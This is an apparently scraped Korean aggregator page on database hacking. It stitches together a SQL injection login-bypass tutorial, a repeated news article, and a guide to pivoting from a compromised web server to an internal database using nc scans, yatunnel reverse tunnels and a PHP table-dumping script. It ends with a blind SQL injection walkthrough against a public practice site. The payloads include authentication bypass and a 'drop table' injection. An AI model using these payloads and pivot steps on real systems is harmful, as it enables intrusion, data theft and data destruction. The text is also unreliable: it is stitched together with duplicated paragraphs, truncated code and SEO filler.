​즉, 위의 결과에서 가장 먼저 출력되는 하나의 결과를 받아서 권한을 승인하기 때문에 정상적으로 접속이 되는 것입니다.

저는 1=1을 예시로 입력했지만 ‘x’ = ‘x’와 같은 SQL문을 삽입해서 공격할 수도 있습니다. 한 마디로 ‘x’ =’x’은 항상 성립하기 때문에

userName = ” OR ‘x’ =’x’ 또한 항상 성립한다는 것이죠. 이러한 공격의 결과는 항상 “Select * FROM users;”가 되겠습니다.​

이번에는 조금 더 심화된 공격을 해보겠습니다. 권한을 얻고 싶은 사람의 아이디를 알아내서 그 아이디로 접속하도록 하겠습니다.​

​’ union select * from users where username = ‘jackdo123′–를 아이디에 입력하겠습니다. 바로 jackdo123에 접속하는 것이죠.

​비밀번호는 아무거나 입력해도 됩니다.

권한 획득에 성공했습니다.​ 위는 데이터베이스에서 실제로 같은 SQL문을 입력한 경우를 보여드린 것입니다.

이처럼 SQL 인젝션은 굉장히 위험한 공격이자 웹 개발자에게는 반드시 방어를 구축해야되는 부분이기도 합니다.

한 번 빈틈을 보이면 관리자 권한부터 오라클 최고 권한까지 뺏겨서 DB 서버 전체를 잡아먹힐 수도 있습니다.​

더 치명적인 공격 예시를 보여드리겠습니다. ​바로 데이터베이스 테이블 자체를 삭제하는 것입니다.

위 테이블은 제가 오라클 11g에서 만들어놓은 mov라는 테이블입니다.

​’; drop table mov cascade constraints; select * from users where username = ‘jackdo123’–

위 문자열을 아이디로 입력하면 mov라는 테이블을 삭제하고 jackdo123이라는 계정으로 접속이 되겠습니다.

다행히도 오라클 11g에서는 다중 SQL 문 실행이 안되기 때문에 이런 위험한 공격은 막을 수 있습니다.

하지만 MySQL이나 MS SQL 혹은 PostgrSQL을 사용한다면 이러한 공격에 순식간에 테이블이 날라갑니다.​

​ 그렇다면 SQL-Injection Attack(SQL 인젝션 공격) 은 어떻게 방어가 가능할까요?

SQL 인젝션으로부터 웹 애플리케이션을 ​보호하기 위해서는 사용자가 입력한 데이터는 절대로 사용자가 의도적으로 SQL

구문의 문법을 이행할 수 없도록 보호를 해야만 합니다. SQL 인젝션 공격을 막기 위해서는 모든 동적인 SQL 문장은 다음의

구성요소만을 이용해야 합니다.

● 불러올 수 있는 구문에 따른 저장된 절차(Stored Procedure)를 이용하기

● Prepared Statements 문법 이용하기

​하지만 이러한 접근 방법에도 입력 값의 타당성(Validation)은 확보되어야만 합니다. 모든 String

입력 데이터는 반드시 타당해야만 하고 Single Quotes(단일 인용 표시)들은 허용되어서는 안됩니다.

입력 값을 검열하는 하나의 가장 좋은 방법은 바로 정규식(Regular Expression)을 이용하는 방법입니다.

그것이 무엇이냐면 예를 들어 이메일 주소를 입력 받을 때는 @ – . _ 의 4가지 특수문자만 허용하는 등의 방법을 말합니다.

초보자도 뚫는 웹사이트 ‘해킹 무방비’

국내 웹사이트를 노리는 해커. PC 모니터에 공격 프로그램을 띄워 탐색버튼을 누르자 SQL 인젝션 공격에 노출된 취약점 정보들이 줄줄이 올라온다.

SQL 인젝션이란 웹사이트 접속시 사용자 로그인 입력값이나 URL 인자값에 특수문자(” , /, Space 등)와 SQL 구문(or, and 등)을 포함시킬 경우, 사용자 인증과정없이 데이터베이스(DB)에 접근할 수 있는 취약점을 노린 해킹 방법. 주로 고객정보를 노린 웹사이트 해킹에 주로 이용되는 방법이다.

이렇게 해서 해커가 내부 DB서버에 접근한 경과시간은 3분도 채 걸리지 않았다. 이후 해커가 띄워놓은 공격자 프로그램에는 데이터베이스 내부의 고객 아이디와 이름, 소속명, 전화번호들이 속속들이 걸러져 나왔다.

중국의 언더그라운드 해커 사이트 www.hacXXX.com’에 올려진 웹사이트 해킹 시연 동영상이다.

↑웹해킹 프로그램.

◇국내 웹사이트 50%가 해킹 무방비 상태

지난달 국내 최대 오픈마켓인 옥션이 해킹을 당해 고객정보가 유출되는 사건이 발생한데 이어 최근에는 통신사 및 인터넷기업들의 웹사이트를 줄줄이 해킹해 100만여명의 고객정보를 빼낸 일당이 경찰에 검거됐다.

하지만 이번에 적발된 해킹사고는 ‘빙산의 일각’에 지나지 않는다는 것이 보안 전문가들의 지적이다.

한국정보보호진흥원에 따르면, 지난해 악성코드를 유포하기 위해 웹사이트를 해킹한 건수만 총 5551건에 달했다. 미처 잡아내지 못한 해킹사례까지 포함하면 피한를 당한 웹사이트수는 훨씬 많을 것으로 추정된다. 이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다.

이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 연동된 웹사이트의 경우라면 상황이 다르다. 고객정보 등 DB서버에 쌓여있는 정보를 죄다 빼낼 수 있기 때문.

회원가입이나 로그인을 필요로 하는 사이트라면 대부분 내부 DB서버와 연동돼 있다고 보면 된다.

네트워크를 통해 침투하는 일반 해킹과 달리, 웹사이트 해킹은 로그인 정보 등 단서조차 쉽게 찾아낼 수 없다. 그래서 더 무섭다. 실제 이번에 해킹당한 대형 통신업체들도 경찰의 통보가 있기까지 해킹당한 사실조차 몰랐던 것으로 알려졌다.

◇자동 공격 프로그램 일반화..초보자도 해킹

문제는 최근들어 웹사이트 해킹 기법이 보다 쉬워지고 있다는 것. 중국 언더그라운드 해커그룹 사이트에 접속하면 SQL 인젝션 자동 공격 프로그램들이 널려 있다. 이들 중 일부 프로그램과 사용법은 이미 국내 커뮤니티를 통해서도 손쉽게 얻을 수 있다. 심지어는 그래도 모르는 사용자들을 위해 친절히 해킹과정을 설명해주는 시연 동영상마저 나돌고 있다.

웹보안업체인 닷큐어의 정경구 이사는 국내 웹사이트를 노리는 해커. PC 모니터에 공격 프로그램을 띄워 탐색버튼을 누르자 SQL 인젝션 공격에 노출된 취약점 정보들이 줄줄이 올라온다.SQL 인젝션이란 웹사이트 접속시 사용자 로그인 입력값이나 URL 인자값에 특수문자(” , /, Space 등)와 SQL 구문(or, and 등)을 포함시킬 경우, 사용자 인증과정없이 데이터베이스(DB)에 접근할 수 있는 취약점을 노린 해킹 방법. 주로 고객정보를 노린 웹사이트 해킹에 주로 이용되는 방법이다.이렇게 해서 해커가 내부 DB서버에 접근한 경과시간은 3분도 채 걸리지 않았다. 이후 해커가 띄워놓은 공격자 프로그램에는 데이터베이스 내부의 고객 아이디와 이름, 소속명, 전화번호들이 속속들이 걸러져 나왔다.중국의 언더그라운드 해커 사이트 www.hacXXX.com’에 올려진 웹사이트 해킹 시연 동영상이다.지난달 국내 최대 오픈마켓인 옥션이 해킹을 당해 고객정보가 유출되는 사건이 발생한데 이어 최근에는 통신사 및 인터넷기업들의 웹사이트를 줄줄이 해킹해 100만여명의 고객정보를 빼낸 일당이 경찰에 검거됐다.하지만 이번에 적발된 해킹사고는 ‘빙산의 일각’에 지나지 않는다는 것이 보안 전문가들의 지적이다.한국정보보호진흥원에 따르면, 지난해 악성코드를 유포하기 위해 웹사이트를 해킹한 건수만 총 5551건에 달했다. 미처 잡아내지 못한 해킹사례까지 포함하면 피한를 당한 웹사이트수는 훨씬 많을 것으로 추정된다. 이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다.이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 연동된 웹사이트의 경우라면 상황이 다르다. 고객정보 등 DB서버에 쌓여있는 정보를 죄다 빼낼 수 있기 때문.회원가입이나 로그인을 필요로 하는 사이트라면 대부분 내부 DB서버와 연동돼 있다고 보면 된다.네트워크를 통해 침투하는 일반 해킹과 달리, 웹사이트 해킹은 로그인 정보 등 단서조차 쉽게 찾아낼 수 없다. 그래서 더 무섭다. 실제 이번에 해킹당한 대형 통신업체들도 경찰의 통보가 있기까지 해킹당한 사실조차 몰랐던 것으로 알려졌다.문제는 최근들어 웹사이트 해킹 기법이 보다 쉬워지고 있다는 것. 중국 언더그라운드 해커그룹 사이트에 접속하면 SQL 인젝션 자동 공격 프로그램들이 널려 있다. 이들 중 일부 프로그램과 사용법은 이미 국내 커뮤니티를 통해서도 손쉽게 얻을 수 있다. 심지어는 그래도 모르는 사용자들을 위해 친절히 해킹과정을 설명해주는 시연 동영상마저 나돌고 있다.웹보안업체인 닷큐어의 정경구 이사는

<저작권자 © ‘돈이 보이는 리얼타임 뉴스’ 머니투데이, 무단전재 및 재배포 금지> 공감 0%

비공감 0%

[보안] DB해킹

본 문서는 방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다.—————————————————————————————————————–I. 네트워크 구성도1) 인터넷 ——-방화벽——- 웹서버 ——–방화벽———DB서버2) 인터넷 ——-방화벽——- 웹서버DB서버(DMZ존)——————————————————————————————————————II. 개요본 문서에 있는 방법은 이미 다 알고 있는 내용이거나 인터넷에 찾아 보면 다 나오는 내용들이다내용상의 틀린 부분이 있으면 지적해 주시면 감사감사~~~Private 또는 DMZ에 위치하는 DB 서버를 해킹 하기 위해선먼저 DB 접속 인증 id/passwd 또는 sid 를 알아야 하며 또한 웹서버를 경유하여 DB와 접속을 하여야 하므로어떤 방법으로든 웹서버는 점령하여야 한다.웹서버 점령에 관해서는 이 문서에서는 언급 하지 않는다.이유는 너무나 많은 방법이 있으며 나도 그 모든 방법에 대해서 모른다.또한 이와 같이 삽질을 안하고도 대다수의 웹서버의 temp,tmp디렉토리 또는 admin 권한으로 DB의 내용을 획득할수도 있으나 어쩔수 없이 DB 쿼리를 해야 하는 상황에 대해서 설명한다.물론 해당 웹서버를 직접 공격하지 않고 sql injection 공격을 할 수 있으면 아래와 같은 삽질은 하지 않아도 될것이다.일단 방화벽 내의 웹서버를 점령한 후 DB서버를 해킹 하는 방법은 상당히 많은방법이 있으며 dbms의 종류 웹서버의 종류 cgi의 종류에 따라 많은 조합의 공격법이 있다.또한 DB 서버를 해킹할때 root권한 획득과 같은 방법은 별 필요가 없을 것이다.왜냐하면 결국 DB 서버의 해킹의 목적은 DB의 내용을 획득하는 것이기 때문에 root권한이 필요가 없다.DB를 쿼리하기 이전에 웹서버 앞의 Firewall Rule에 따라 접근개념이 틀려 질 수 있으므로아래와 같이 크게 2가지 분류로 나누어 접근하도록 하겠다.Firewall Rule을 파악하기 위해서 공격자의 PC에 Sniffing Tool을 설치하고 해당 웹서버에는 nc를 설치한다.공격자의 PC에서는 해당 웹서버에서 공격자 PC로 전송되는 패킷에 대한 검사를 수행하고해당 웹서버에서는 다음과 같이 실행한다nc -v -w2 -z [공격자 PC IP] 1-65535이는 해당 웹서버에서 공격자 PC로의 어떤 서비스가 통과 가능한지 파악하기 위함이다.Firewall Rule에서 특정 서비스에 대해서만 Accept되어 있을 수 있다 예를 들어 외부로 나가는 dns또는 특정 Application의update서비스와 같이 특정 서비스만 Accept되어 있으면 그 서비스를 판단할 수 있다.또한 공격자의 PC에서 Sniffing을 설치하여 패킷 검사를 하는 이유는 nc는 nmap과 같이 closed와 filtered를 구분하지못하기 때문에 수동으로 패킷을 검사하여 확인을 한다.nc수행 결과 공격자의 PC로 한개 이상의 syn 패킷이 전송이 된다면 아래 1번 방법으로 DB 쿼리가 가능하다2번 방법은 웹서버에서 인터넷구간으로의 Outbound Rule이 서비스 전체에 대해 Deny일 경우로해당 웹서버의 cgi를 이용하여 DB쿼리를 수행한다.——————————————————————————————————————-III. 실전 DB 해킹1) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Accept인 경우이는 port redirect(cevert tunnel, reverse telnet)이 가능한 상태이다.즉 외부에서 해당 웹서버의 쉘을 띄울수가 있는 상태이므로 쉽게 DB쿼리가 가능하다.우선 공격대상 네트워크는 아래와 같다고 가정한다.실제 Firewall/네트워크 구성이 상당수 기업들이 이와 유사하게 설정 되어 있다.===================================================================================================================[공인:210.210.210.210] [공인: 220.220.220.220] [사설:192.168.0.100]공격자 PC1 ——————– 방화벽 —————– 웹서버 ————방화벽—————– DB 서버Any 웹서버 80 Accept 웹서버 DB서버 DB서비스 AcceptAny 웹서버 Any Deny Any DB서버 Any Deny웹서버 Any 8080 Accept웹서버 Any Any Deny공격자 PC2(Proxy 서버)[공인:210.210.210.211]=====================================================================================================================port redirect는 yatunnel이란 tool을 이용하여 아래와 같이 수행한다.만일 웹서버에 sql client툴이 있을경우 이를 이용하면 쉽게 DB에 접속하여 쿼리를 할 수 있으나경험상 아마도 없을 것이다. ^^;- 공격자 PC2(Proxy 서버)에서의 작업Proxy 서버측에서 웹서버와 Tunneling 할 port를 open한다.[root@Proxy Server]# ./tun-proxy -p 12345- 웹서버에서의 작업tun-server의 소스를 보면 127.0.0.1:22로 redirect를 한다.이 부분은 자신이 원하는 주소와 port를 수정하여 사용 가능하다.즉, 다른 호스트로 redirect가 가능하다. 즉 이를 192.168.0.100:1433으로 수정한다.MSSQL:1433, Oracle:1521, MySQL:3306[green@Internal Server]$ ./tun-server -h 210.210.210.211 -p 12345- 공격자 PC1 에서의 작업각종 SQL Client를 이용하여 210.210.210.211:12345로 DB와 Connect하고 DB 쿼리를 한다.MSSQL, MySQL, Oracle에 대한 SQL Client는 아래 사이트에 있는 SQL Gate가 사용이 용이하고 쉽다.* yatunnel을 이용한 SQL Client 연결은 한번도 테스트는 해 보지 않았다안될 이유는 없을것 이라고 판단이 되나 누군가 테스트 해 볼 기회가 된다면 안되면 연락을 주길 바란다.2) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Deny인 경우Outbound Rule이 Deny일 경우 순전히 해당 웹서버의 cgi를 이용하여 DB 쿼리를 하여야 한다.이는 상당히 많은 조합이 필요하다 ㅠㅠ;가장많이 사용되는 php, asp, jsp를 예로 들어 보겠다.2-1) php를 사용할 경우가장 먼저 DB Name과 Table Name을 알아야 DB 쿼리를 한다.웹서버의 php파일들을 뒤져서 DB Name과 Table Name을 찾아 낼수 있지만 이 얼마나 노가다 인가…그래서 아래와 같은 DB 구조 파악을 할 수 있는 php파일을 실행 시키자.아래의 예제는 Mysql을 예로 들었다.물론 아래의 몇몇 변수는 시스템 환경에 맞게 수정을 하여야 한다.————————————디비/테이블 알아내기———————————————$db = mysql_connect($host, $user, $password);mysql_select_db($database);//전체 DB보기$db_list = mysql_list_dbs($db);echo “전체 DB >>>>>”;while ($row = mysql_fetch_object($db_list)) {$database= $row->Database;echo “$row->Database || “;$table_rs = mysql_list_tables($database); ////// 테이블을 볼 테이타 베이스명echo ” td {font-size:9pt}

“;$rows = 0;while($tables = mysql_fetch_array($table_rs)){$query = “select * from $tables[0]”;$field_rs = mysql_query($query, $db);$field = mysql_fetch_field($field_rs); /////////// 필드명 구하기$cols = mysql_num_fields($field_rs); /////////// 필드수 구하기if($rows%5 == 0) echo ” “; //// 칼럼수가 5개 이면 줄 바꿈echo ” $tables[0] 필드명 Type “;for($i=0; $i < $cols; $i++){echo " ".mysql_field_name($field_rs, $i)." ".mysql_field_type($field_rs, $i)." (".mysql_field_len($field_rs, $i).") ";echo " ";$rows++;echo " 테이블 $tab_name 의 모든 데이타를 가져옵니다

Blind SQL Injection_1. DB 버전 수집

Union Based SQL Injection에 이어 Blind SQL Injection에 대해 알아보도록 하겠습니다.

Blind SQL Injection 은 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용하는

공격 기법입니다.

흔히 사용자로부터 입력받은 데이터를 비교해 참/거짓을 구분 짓고, 참/거짓의 결과에 따른 특별한

응답을 생성할 때 시도해 볼 수 있습니다.

이해하기 쉽게 실습 사이트에서 직접 해보면서 설명하겠습니다.

실습 사이트 : http://testphp.vulnweb.com/listproducts.php?cat=1

우선 간단하게 해당 웹 사이트가 Blind SQL Injection을 수행할 수 있는 취약한 웹사이트 인지 확인하기 위해

and 연산자를 통한 Boolean 조건을 이용합니다.

현재 웹 사이트의 URL의 가장 마지막 부분에서 cat=1 이라는 파라미터를 서버에 보내고 있습니다.

여기서 시도해 볼 수 있는 케이스는 두 가지 입니다.

1) http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=1

2) http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=2

and 연산자는 앞뒤 조건이 모두 만족되어야 참을 반환합니다.

위 예시에서 1번은 (cat=1)과 (1=1) 모두가 참이기 때문에 정상적인 페이지를 보여주고

2번은 (cat=1)과 (1=2) 에서 (1=2)가 거짓이기 때문에 공백 페이지를 출력합니다.

이와같은 상황이 나올수 있었던 이유는 서버에 요청을 보낼 때 데이터베이스에서 cat = 1 인 데이터를 가져오는

형식으로 이루어져있기 때문입니다.

즉, 테이블 명이 어떤 것인지는 아직 모르지만

SELECT * FROM ‘table_name’ WHERE cat=1 와 유사한 형식으로 진행되는 것으로 예측할 수 있습니다.

여기서 “cat=1” 을 URL에서 직접 입력받기 때문에 적절한 필터링이 없는 경우

“cat=1 and 1=1” 을 입력하게 되면

SELECT * FROM ‘table_name’ WHERE (cat=1) and (1=1)

이런식으로 전달하게 되어 조건문이 만족하기 때문에 정상 페이지를 출력하게 되고,

“cat=1 and 1=2” 을 입력하게 되면

SELECT * FROM ‘table_name’ WHERE (cat=1) and (1=2)

와 같이 전달 되어 조건문이 만족하지 않기 때문에 cat=1을 나타내는 페이지를 불러올 수 없게 됩니다.

이제 이 사이트가 취약하다는 것을 알게 되었으니 Blind SQL Injection을 통해 데이터를 수집해 봅시다.

1) DB 버전 찾기

DBMS의 종류와 버전에 따라 쿼리문 종류가 달라질 수 있습니다.

공격자의 입장에서는 버전 정보를 획득하면 그 버전에 맞는 쿼리문을 유연하게 만들 수 있고,

관리자 입장에서는 취약성 검증용이나 해당 버전에 맞는 cve를 참고할 수 있기 때문에

DB 버전도 나름 유용한 정보가 될 수 있습니다.

Mysql 기준으로 DB의 버전을 알기위해 사용하는 키워드는 “@@version” 입니다.

제 PC에 깔려있는 Mysql 버전은 8.0.20 입니다. 공격을 위해 수집할 때는 소수점 뒤에있는 값들 까지 알 필요는 없고 8,5,6, 등 앞에 나오는 숫자만 알아도 무방합니다.

@@version 에서 가장 앞에 나오는 숫자만 따오기 위해서는 substr() 함수를 이용합니다.

substr 함수의 경우 DB버전 뿐만 아니라 Blind SQL Injection에서 많이 사용되기 때문에 자세히 알아두시면 좋겠습니다.

* substr(string, start_index, count)

string : 문자열

start_index : 출력할 문자열의 시작 인덱스 위치

count : start_index로부터 몇글자를 출력할지 지정즉, 첫번째 인자로 들어온 문자열의 시작부분과 출력할 글자 수를 정해서 그 부분만 출력하는 함수입니다.여기서 인덱스는 보통 프로그래밍 언어와 다르게 0이 아닌 1부터 시작합니다.

ex1 ) SELECT substr(“abcde”,1,2) = ab

ex2 ) SELECT substr(“abcde”,2,3) = bcd

ex3) SELECT substr(@@version,1,1) = 8

DB 버전을 알기 위해 사용할 때에는 ex3)과 같이 이용합니다.

이제 공격 사이트에서 어떤 버전을 사용하는지 쿼리문을 날려서 확인

하기 전에! URL을 다시 살펴봅시다.

http://testphp.vulnweb.com/listproducts.php?cat=1

우리는 이 쿼리문에 and 연산자를 포함시켰을 때 참인 경우와 거짓인 경우에서의 결과 화면을 알고 있습니다.

– 참인 경우 : 정상 페이지 출력

– 거짓인 경우 : 공백 페이지 출력

그렇다면 and 뒤에 1=1 / 1=2가 아닌

1) cat = 1 and DB버전 = 5

2) cat = 1 and DB버전 = 7

3) cat = 1 and DB버전 = 8

이런식으로 DB 버전에 대해 무작위로 대입 해 볼 수 있습니다.

예를 들어 시스템의 DB 버전이 5였다면

1)의 경우는 정상 페이지가 출력 되고 2),3)의 경우는 공백 페이지가 출력될 것입니다.

직접 시도해보겠습니당

1) cat = 1 and substr(@@versioin,1,1)=5

and 다음 substr으로 DB 버전의 첫글자를 따서 5와 비교하였습니다.

and 연산 후 결과가 참일 경우에 정상 페이지가 출력되기 때문에 해당 서버의 DB 버전은 5인것을 한번에 확인하였습니다.

=> SELECT * FROM ‘table_name’ WHERE (cat=1) and (substr(@@version,1,1) = 5)

1. (cat=1) : 참

2. (substr(@@version,1,1) = 5) : 참

3. and 연산 결과 : 참

4. 결과 페이지 : 정상

2) cat = 1 and substr(@@versioin,1,1)=7

3) cat = 1 and substr(@@versioin,1,1)=8

2), 3) 의 경우 DB 버전이 7,8이 아니기 때문에 and 연산의 결과가 거짓이 되었습니다.

따라서 정상 페이지가 아닌 공백 페이지가 출력되었습니다.

=> SELECT * FROM ‘table_name’ WHERE (cat=1) and (substr(@@version,1,1) = 7)

1. (cat=1) : 참

2. (substr(@@version,1,1) = 7) : 거짓

3. and 연산 결과 : 거짓

4. 결과 페이지 : 공백 페이지

이상으로 Blind SQL Injection에 대한 개요와 DB 버전을 수집하는 과정에 대해 알아보았습니다.

다음 포스팅에서는 테이블 명과 칼럼 명을 수집하는 방법에 대해 알아보도록 하겠습니다.

키워드에 대한 정보 웹 사이트 db 해킹

다음은 Bing에서 웹 사이트 db 해킹 주제에 대한 검색 결과입니다. 필요한 경우 더 읽을 수 있습니다.

이 기사는 인터넷의 다양한 출처에서 편집되었습니다. 이 기사가 유용했기를 바랍니다. 이 기사가 유용하다고 생각되면 공유하십시오. 매우 감사합니다!

사람들이 주제에 대해 자주 검색하는 키워드 [웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다!

  • 해킹강의
  • 웹해킹
  • SQL인젝션
  • DB해킹
  • 해킹
  • 해킹 강의
  • 화이트해커
  • Blind SQL Injection
  • 특강
  • 웹 해킹 특강
  • 해커 특강
  • SQL Injection
[웹 #해킹 #특강] #DB #해킹! #| #DB #데이터를 #추출하는 #원리부터 #공격 #자동화 #코드까지 #직접 #개발한다!


YouTube에서 웹 사이트 db 해킹 주제의 다른 동영상 보기

주제에 대한 기사를 시청해 주셔서 감사합니다 [웹 해킹 특강] DB 해킹! | DB 데이터를 추출하는 원리부터 공격 자동화 코드까지 직접 개발한다! | 웹 사이트 db 해킹, 이 기사가 유용하다고 생각되면 공유하십시오, 매우 감사합니다.

See also  매트리스 깔판 후기 | 침대 프레임(받침대) 없이 매트리스만 놓고 써도 될까? 19829 투표 이 답변

Leave a Reply

Your email address will not be published. Required fields are marked *